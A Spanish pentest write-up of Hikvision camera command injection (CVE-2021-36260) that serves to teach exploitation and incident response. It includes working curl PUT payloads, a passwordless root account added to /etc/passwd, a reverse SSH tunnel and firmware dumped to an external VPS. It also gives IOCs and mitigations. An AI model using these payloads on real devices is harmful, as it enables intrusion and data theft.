Análisis completo de CVE-2021-36260 (CVSS 9.8): verificación, explotación controlada, reversing del firmware, hallazgo de un tercer actor y mitigación. Engagement autorizado.
Introducción
Este artículo surge a partir de uno anterior sobre debloat de Android TV: dispositivos baratos que traían software innecesario preinstalado. Al revisarlos surgió una duda: si estos equipos son baratos, de fabricantes poco conocidos y con firmware que nadie audita, ¿hasta qué punto es real que traen backdoors? Durante años fue un secreto a voces en el sector; en este engagement lo confirmamos en un equipo real.
La pregunta que queda abierta es la que motiva el resto del artículo: si esto pasa con una cámara, ¿qué podemos esperar de otros dispositivos IoT? Hablamos de la clase completa, por ejemplo:
- Robots aspiradores
- Focos y bombillas inteligentes
- Refrigeradoras y electrodomésticos conectados
- Enchufes y regletas inteligentes
- Asistentes de voz y timbres con cámara
- Routers, repetidores y cualquier otro dispositivo con webserver y conexión a Internet
Muchos de ellos tienen el mismo patrón de diseño que vamos a ver aquí: webserver propietario, procesos como root, firmware sin firma y actualizaciones que nunca llegan.
Contexto
CVE-2021-36260 afecta a decenas de modelos de cámaras IP y NVR de Hikvision cuyo webserver embebido (derivado de GoAhead) no valida adecuadamente la entrada de un endpoint de configuración de idioma. Se publicó en septiembre de 2021 y desde entonces ha sido explotada de forma masiva por botnets IoT.
Puntuación: CVSS 3.1
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H→ 9.8 (Crítica)
Es el arquetipo del IoT roto por diseño: webserver propietario, shell root sin TTY, firmware sin firma y persistencia trivial. Entender este caso completo (explotación, firmware e incidentes) es entender toda la clase de amenaza.
1. Reconocimiento
El primer paso es identificar el servicio expuesto:
curl -sk -D - http://<IP_CAMARA>/
HTTP/1.1 200 OK
Server: webserver
ETag: "3e2-1e0-5bdbbe54"
Last-Modified: Fri, 02 Nov 2018 ...
Indicadores relevantes:
Server: webserver: webserver embebido propio de Hikvision, derivado de GoAhead.- ETag estable durante toda la prueba: el firmware no cambió.
Topología real. La cámara estaba detrás de NAT (eth0 = 192.168.0.20/24). El router solo redirigía puertos seleccionados: el 80 sí, mientras que el SSH (22) y el 1337 no. Consecuencia: todo el acceso externo pasaba por el RCE sobre el puerto 80. El shell SSH solo era alcanzable desde la LAN, hasta que montamos un túnel (ver sección 4).
2. La vulnerabilidad
El endpoint /SDK/webLanguage acepta peticiones PUT sin autenticación. El contenido del elemento <language> se interpola sin sanitizar en una llamada equivalente a system():
PUT /SDK/webLanguage
<?xml version="1.0" encoding="UTF-8"?>
<language>$(COMANDO)</language>
$(...) se ejecuta en el shell del sistema (busybox ash) como UID 0, con el directorio de trabajo en /home.
Hay un truco adicional para leer la salida: /home/webLib está mapeado a la raíz HTTP /. Por eso el comando puede escribir su resultado en el webroot y recuperarlo por HTTP. No es RCE ciego: es ejecución con retorno de salida sobre un único puerto expuesto.
Primitiva completa: ejecución como root y lectura del stdout por HTTP.
3. Verificación segura
En una auditoría, la prueba de explotabilidad debe ser no destructiva y verificable por efecto secundario.
Paso 1: escribir un fichero de prueba mediante la inyección.
curl -sk -X PUT "http://<IP_CAMARA>/SDK/webLanguage" \
--data-binary '<language>$(>webLib/c)</language>'
Paso 2: leerlo por HTTP.
curl -sk http://<IP_CAMARA>/c # 200 => confirmado
Tabla de interpretación:
| Código | Interpretación |
|---|---|
200 |
Inyección confirmada: el comando corrió como root |
401 |
Parcheado o autenticación requerida |
500 |
El comando pudo ejecutarse y el parser falló después (cosmético) |
Regla de oro: un
500 Device Errorno significa fallo. Siempre hay que verificar el efecto secundario (fichero creado, proceso enps).
Prueba de salida. Para confirmar que la salida llega al cliente, se redirige el resultado de un comando de listado al webroot y se recupera:
curl -sk --data-binary '<language>$(ls -a / >webLib/p3)</language>' -X PUT ".../SDK/webLanguage"
curl -sk http://<IP_CAMARA>/p3
bin config dav davinci dev etc
home init lib mnt proc root
sbin sys tmp usr var
4. Particularidades del firmware
No basta con “pegar el comando”. El firmware impone restricciones que obligan a adaptar la técnica:
- Límite de longitud: los comandos inyectados de hasta 22 bytes se ejecutan; por encima se descartan en silencio. Medido en laboratorio: 22 OK, 23 o más descartado.
- PATH incompleto:
dropbearestá en/usr/sbin, pero el PATH del shell inyectado no incluye ese directorio. Hay que usar rutas absolutas. - BusyBox mínimo (v1.19.3, 2018): no están
id,grep,pidof,killall,nc,ddnibase64. Sí estáncat,sed,ps,kill,dbclientydropbear. - Solución: ensamblar por partes. Se escribe el comando largo en un fichero temporal en trozos de 22 bytes o menos con
echo -n ... >> fichero, y luego se ejecuta consh fichero.
put 'echo -n /usr/sb>h'
put 'echo -n in/dropb>>h'
put 'echo -n ear>>h'
put 'echo " -R -B -p1337">>h'
put 'sh h'
5. Impacto: persistencia y acceso
Cuenta de respaldo. Se añade una entrada a /etc/passwd con UID 0 y sin contraseña, lo que permite un acceso root alternativo al del firmware:
put 'echo -n P::0:0:W>N'
put 'echo :/:/bin/sh>>N'
put 'cat N>>/etc/passwd'
Servicio SSH alternativo. Se lanza dropbear en un puerto no estándar y se verifica desde el webroot:
curl -sk http://<IP_CAMARA>/psx | grep dropbear
# 471 root /usr/sbin/dropbear -R -I 1800 <- vendor
# 12766 root dropbear -R -B -p1337 <- nuestro
Alcanzabilidad: el servicio funciona, pero
iptables+ NAT lo dejan accesible solo desde la LAN (192.168.0.0/24). El router no redirige el 1337. Para salir a Internet hace falta un pivote.
Túnel inverso. La cámara tiene salida a Internet. Con dbclient ya presente se monta un remote-forward (-R) hacia un VPS, sin subir binarios. El VPS re-expone el 1337 de la cámara:
CÁMARA (NAT) --dbclient -R 2222:127.0.0.1:1337--> VPS (sshd, GatewayPorts) <--ssh -p2222-- OPERADOR
Verificado: el acceso por el túnel devuelve un prompt root, y cat /etc/passwd expone los hashes de root y admin (crack offline como siguiente paso autorizado).
Impacto resumido:
- RCE pre-autenticación como root, desde el puerto web expuesto a Internet.
- Persistencia trivial: escritura en
/etc/passwdy re-explotación. La RAM se limpia al reiniciar, pero el atacante vuelve a plantar. - Pivote a la LAN: la cámara da acceso a 192.168.0.0/24; cualquier servicio interno queda expuesto.
- Hardware al alcance: las herramientas del firmware permiten interactuar con memoria y periféricos.
6. Reversing del firmware
Dump zero-storage
Con root por el túnel se volcaron las 16 particiones MTD sin escribir nada en el equipo. Como busybox no trae dd ni nc, el volcado se transfiere con el propio dbclient:
cat /dev/mtdN | gzip -c | dbclient -y tun@VPS 'cat > incoming/mtdN.gz'
- Integridad: tamaño exacto frente a
/proc/mtdy CRC32 del gzip. - Resultado: 16/16 particiones correctas, unos 263 MB en bruto. El equipo quedó intacto.
- Automatización: el dropbear rechaza
exec request, así que toda la automatización va por PTY scriptado (pexpect+sshpass).
| MTD | Nombre | Contenido |
|---|---|---|
| 0–1 | bld/env | U-Boot y entorno |
| 5 | rcvy | Kernel de recovery |
| 6/7 | sys0/1 | Kernel Linux 3.4.35 en doble banco |
| 8/9 | app0/1 | UBIFS de aplicación |
| 10/11 | cfg0/1 | UBIFS de configuración |
| 12/13 | dat0/1 | UBIFS de datos |
Clave: el rootfs es un initramfs en RAM, así que /etc, /home y /tmp no sobreviven al reinicio.
El sink
En davinci (el webserver), la función hwif_language_load construye un tar zxf con el valor recibido por XML y lo pasa a system(). El único “filtro” elimina dos caracteres:
// sanitizer previo: SOLO filtra dos caracteres
// 0x60 = '`' backtick | 0x3b = ';' -> todo lo demás PASA
snprintf(path, "/dav/%s.tar.gz", nombre);
snprintf(cmd, "tar zxf %s -C /home/webLib/doc/xml", path);
system(cmd); // <- EL SINK
Por eso $( ), >, >> y las comillas funcionan. El truncado a 32 bytes es de esta función, mientras que el límite de 22 bytes viene de la capa de parsing XML del handler. Además, davinci_bak es idéntico en ambos bancos: el binario es de fábrica, no está troyanizado.
Diagnóstico: la inyección es ejecución por diseño descuidado. Un filtro de caracteres no es una defensa; la defensa es no construir comandos de shell con datos de red.
7. Hallazgo de respuesta a incidentes: un tercer actor
Durante el reversing aparecieron artefactos que no son del firmware ni de nuestra campaña. El equipo fue re-explotado por terceros mientras duraba la prueba.
Cronología observada:
- 1 de octubre: sondas de reconocimiento (marcadores en
webLib). - 23 de octubre, 22:19: backdoor de autenticación RSA plantado en
/etc/psh_rsa.conf. - 23 de octubre, 23:24: montaje NFS hacia infraestructura externa (C2).
- Día de la prueba: re-explotación en vivo, en dos momentos distintos.
Qué hace el backdoor:
/bin/pshvalida el “password” conRSA_public_decrypt. Quien posea la clave privada entra como root sin conocer ningún hash. El dispositivo debe tratarse como comprometido por terceros, no solo como vulnerable.
Indicadores de compromiso
| Tipo | Valor |
|---|---|
| IP C2 / NFS | <IP_C2>:2049 (/srv/nfs/share) |
| Backdoor de autenticación | /etc/psh_rsa.conf |
| Loader de segunda etapa | /home/x → montaje NFS; sh b/b.sh |
| Marcadores en webroot | webLib/{cnamxjm, crlzmnm, c, x} |
| Patrón de comando | system("tar zxf /dav/<lang>.tar.gz") |
Falsos positivos descartados
Separar nuestros artefactos de los del actor es parte del informe. Sin esa disciplina, un pentest contamina la escena:
- El
sh -c tar zxf /dav/$(sh tn)…visto en vivo es residuo de nuestra inyección, no del actor. - Los
dropbearduplicados en el 1337 son efecto colateral del mismo mecanismo. davinci → 54.x:6800es relay legítimo del vendor (servicio cloud del fabricante).
8. Mitigación
No existe parche de campo sencillo para este modelo y firmware: no hay fuente pública y el fabricante exige acceso con credenciales. La única corrección real es retirar o aislar el equipo.
Contención (inmediata)
- Retirar el dispositivo o cerrar en el perímetro los puertos 80, 443, 554, 8000, 8200 y 49152.
- No esperar a una ventana de mantenimiento.
Erradicación
- Limpiar
psh_rsa.conf,/home/x,/tmp/by los marcadores de webroot. - Insuficiente por sí sola: si el equipo sigue expuesto, el actor vuelve a explotarlo.
Recuperación
- Reemplazar por un modelo soportado con firmware actualizado.
- Rotar las credenciales que hayan pasado por el dispositivo.
Detección
- WAF/IDS: alertar sobre
PUT /SDK/webLanguagecon cuerpo que contenga$(o>webLib. - Caza en flota:
psh_rsa.conf, loader NFS y ficheros aleatorios en el webroot. - Telemetría: conexiones salientes de cámaras hacia destinos que no sean el vendor.
Arquitectura
- Cámaras solo por VPN, nunca con redirección de puertos directa.
- VLAN aislada, sin ruta a la red de servidores.
- Egress filtering: una cámara no necesita montar NFS hacia Internet.
9. Por qué un 9.8 es un 9.8
- RCE pre-autenticación como root desde un puerto web expuesto, sin credenciales.
- Persistencia trivial: el atacante re-planta lo que la RAM borra.
- Pivote a la LAN: cualquier servicio interno queda expuesto.
- Imposible de parchear en campo para este modelo.
10. Laboratorio de análisis
Para practicar la metodología sin tocar equipos reales, el laboratorio reproduce el flujo en un entorno aislado:
- Extracción:
binwalkpara el initramfs cpio yubi_readerpara app0/app1. - Emulación:
qemu-arm-static -L sysroot -stracepara los binarios ARM. - Localización del sink con radare2 (
hwif_language_load). - Harness aislado: reproducción de la petición contra una instancia de laboratorio.
- Respuesta a incidentes: caza y análisis de
psh_rsa.conf, el loader ypsh. - Defensa: firma IDS y hardening.
Un arranque completo de este firmware no es práctico en clase, así que se trabaja a nivel de binario y de un harness que imita el endpoint. Regla del lab: ningún binario no confiable se ejecuta en hardware real; todo lo dinámico va por QEMU en modo usuario.
Conclusiones
- El IoT barato falla por diseño. Un
system()sin sanitizar vale un 9.8 y acaba en millones de bots. - Un análisis serio no termina en el shell. Incluye firmware, persistencia y una escena forense limpia.
- Asume compromiso previo. A veces no estás solo en el dispositivo, y modelar esa posibilidad es parte del trabajo.
Si la cámara ya traía un backdoor, la pregunta de la introducción sigue abierta: ¿cuántos de los dispositivos que tenemos en casa tienen un webserver, un proceso root y una conexión permanente a Internet? Ese es el siguiente paso de la serie.
Engagement autorizado. Los identificadores reales (IP de la cámara, IP de C2, VPS y credenciales) están redactados.